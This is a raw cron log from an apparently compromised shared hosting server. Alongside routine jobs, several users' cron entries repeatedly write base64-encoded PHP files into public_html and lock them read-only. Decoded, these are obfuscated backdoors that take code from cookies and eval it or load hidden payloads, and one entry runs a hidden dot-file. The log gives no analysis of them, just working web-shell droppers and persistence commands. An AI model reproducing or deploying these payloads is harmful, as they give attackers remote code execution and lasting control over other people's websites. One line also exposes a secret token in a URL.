Apr 19 05:33:01 medusa CROND[16101]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:33:01 medusa CROND[16105]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:33:01 medusa CROND[16106]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:33:01 medusa CROND[16108]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:33:01 medusa CROND[16109]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:33:01 medusa CROND[16121]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:34:01 medusa CROND[19349]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:34:01 medusa CROND[19351]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:34:01 medusa CROND[19352]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:34:01 medusa CROND[19350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:34:01 medusa CROND[19353]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:34:01 medusa CROND[19356]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:34:01 medusa CROND[19357]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:34:01 medusa CROND[19358]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:34:01 medusa CROND[19364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:34:01 medusa CROND[19365]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:34:01 medusa CROND[19366]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:34:01 medusa CROND[19367]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:34:01 medusa CROND[19377]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:35:02 medusa CROND[23227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:35:02 medusa CROND[23228]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:35:02 medusa CROND[23229]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:35:02 medusa CROND[23230]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 19 05:35:02 medusa CROND[23231]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:35:02 medusa CROND[23234]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:35:02 medusa CROND[23233]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:35:02 medusa CROND[23235]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:35:02 medusa CROND[23238]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:35:02 medusa CROND[23237]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:35:02 medusa CROND[23241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:35:02 medusa CROND[23245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:35:02 medusa CROND[23240]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:35:02 medusa CROND[23244]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cldiag.cronlock /usr/bin/cldiag --cron-check)
Apr 19 05:35:02 medusa CROND[23239]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 05:35:02 medusa CROND[23248]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:35:02 medusa CROND[23254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:35:02 medusa CROND[23232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 05:35:02 medusa CROND[23255]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
